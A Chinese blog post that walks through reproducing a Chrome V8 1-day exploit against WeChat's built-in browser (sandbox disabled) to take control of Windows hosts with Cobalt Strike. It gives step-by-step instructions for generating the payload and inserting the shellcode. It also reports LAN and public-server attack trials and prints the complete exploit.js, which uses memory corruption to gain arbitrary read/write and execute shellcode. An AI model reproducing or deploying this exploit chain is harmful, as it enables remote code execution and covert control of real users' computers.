Chrome内核漏洞-微信控制1day


漏洞简述

  影响版本:Chrome <= 89.0.4389.114。微信 Windows 版本 小于 3.1.2.141。
微信更新后的版本:3.2.1.143。3.2.1.151。

  漏洞利用条件:关闭Chrome浏览器沙盒–no-sandbox。
Chrome默认开启沙盒。微信内置浏览器使用Chrome内核,默认关闭沙盒–no-sandbox。


局域网复现-拿下

  下载Payload:访问https://github.com/r4j0x00/exploits/tree/master/chrome-0day,下载exploit.html和exploit.js。

  CS服务端:192.168.43.208,ufw关闭防火墙。

  CS客户端:192.168.43.6,ufw关闭防火墙。
  设置监听:在CS里点击Configure Listeners,监听CS服务端的主机地址和9999端口。
  生成Payload:在CS里选择Attack-Packages-Payload Generator,选择设置的监听,输出output选择C#,点击Generate生成payload.cs。打开payload.cs,把大括号{}里的内容复制到exploit.js第五行shellcode的中括号[]中。
  开启Web服务,把exploit.html和exploit.js放置在Web站点中。

  靶机192.168.43.56:Win10专业版,开启防火墙,微信版本信息是3.2.1.112。
  靶机访问192.168.43.6/exploit.html,CS上线,完成复现。

  CS查看上线主机:屏幕捕获和文件路径可以看,有时候加载慢。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述


公网复现

局域网相同配置-无

  下载Payload:访问https://github.com/r4j0x00/exploits/tree/master/chrome-0day,下载exploit.html和exploit.js。

  CS客户端:192.168.43.6,ufw关闭防火墙。
  设置监听:在CS里点击Configure Listeners,监听CS服务端的主机地址和443端口。
  生成Payload:在CS里选择Attack-Packages-Payload Generator,选择设置的监听,输出output选择C#,点击Generate生成payload.cs。打开payload.cs,把大括号{}里的内容复制到exploit.js第五行shellcode的中括号[]中。

  CS服务端:公网服务器。
  开启Web服务,把exploit.html和exploit.js放置在Web站点中。

  靶机192.168.43.56:Win10专业版,开启防火墙,微信版本信息是3.2.1.112。
  靶机访问http://公网服务器ip/exploit.html,无法上线。

修改配置再次测试-拿下

  C#不能上线,尝试C语言Payload,打开payload.c,将字符\替换成,0。
  靶机访问http://公网服务器ip/exploit.html,等待30秒没有上线。
重新点击链接,点着点着就上线了。
  CS客户端对靶机选择remove,取消控制。
靶机再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了5秒后上线成功。
取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了5秒后上线成功。
取消控制,再次访问,等了3分钟没有上线,只好点击刷新,上线成功。

  结论:猜测是因为网络问题,思考在js代码中添加刷新代码解决此问题。(未实践)

  CS查看上线主机:文件路径可以看,可以在beacon里执行代码,只是执行的结果很慢。屏幕捕获,五分钟没有显示出来。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述


Exp

  exploit.html文件:

<script src="exploit.js"></script>

  未填充shellcode的脚本文件exploit.js,在第五行添加shellcode:

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [];

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();

    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

参考

  《微信(Chrome)漏洞复现与简单分析小结 -贝塔安全实验室》,2021-04-21
https://mp.weixin.qq.com/s/lua8KhWAyviL1Nzg6NgJNA

  《解决微信0day上线CobaltStike的几个问题 》,2021-04-20
https://mp.weixin.qq.com/s/1y0egja7bosdrzws0OFKbg

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值